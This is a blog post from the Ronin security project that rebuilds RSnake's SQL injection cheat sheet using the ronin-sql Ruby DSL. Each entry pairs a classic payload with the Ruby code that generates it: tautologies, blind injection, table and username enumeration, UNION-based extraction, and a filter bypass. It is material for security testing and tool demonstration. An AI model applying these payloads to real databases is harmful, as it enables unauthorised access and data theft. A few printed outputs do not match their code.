After the release of ronin-sql 1.0.0, I wondered if we could recreate RSnake’s SQL Injection Cheat Sheet using the new Ronin::SQL Domain Specific Language (DSL). Let’s see how far we can get.

Normal SQL Injection:

1 OR 1=1
sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# => 1 OR 1=1

Normal SQL Injection using encapsulated data:

1' OR '1'='1
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { string(1) == string(1) }
puts sqli
# 1' OR '1'='1

Blind SQL Injection:

1 AND 1=1
sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# 1 AND 1=1

Blind SQL Injection to attempt to locate tablename by brute-force iteration through table name permutations:

1' AND 1=(SELECT COUNT(*) FROM tablenames); --
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { select(count).from(:tablenames) == 1 }
puts sqli
# 1 AND (SELECT COUNT(*) FROM tablenames)=1

Creating errors by calling non-existent tables:

1' AND non_existant_table = '1
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { non_existant_table == '1' }
puts sqli
# 1' AND non_existant_table='1

Dumping usernames:

' OR username IS NOT NULL OR username = '
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { username.is_not(null) }.or { username == '' }
puts sqli
# 1' OR username IS NOT NULL OR username='

Enumerating through database table names:

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
sqli = Ronin::SQL::Injection.new
sqli.and {
  ascii(
    lower(
      substring(
        select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
      )
    )
  ) > 116
}
puts sqli
# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116

Finding user supplied tables using the sysObjects table in SQL Server:

1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
sqli = Ronin::SQL::Injection.new
sqli.union_all {
  select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
}
puts sqli.to_sql(:terminate => true)
# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--

Bypass filters by using /**/ instead of spaces:

1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli.to_sql(:space => '/**/')
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users

Not too shabby!

If Ronin interests you or you like the work we do, consider donating to Ronin on GitHub, Patreon, or Open Collective so we can continue building high-quality free and Open Source security tools and Ruby libraries.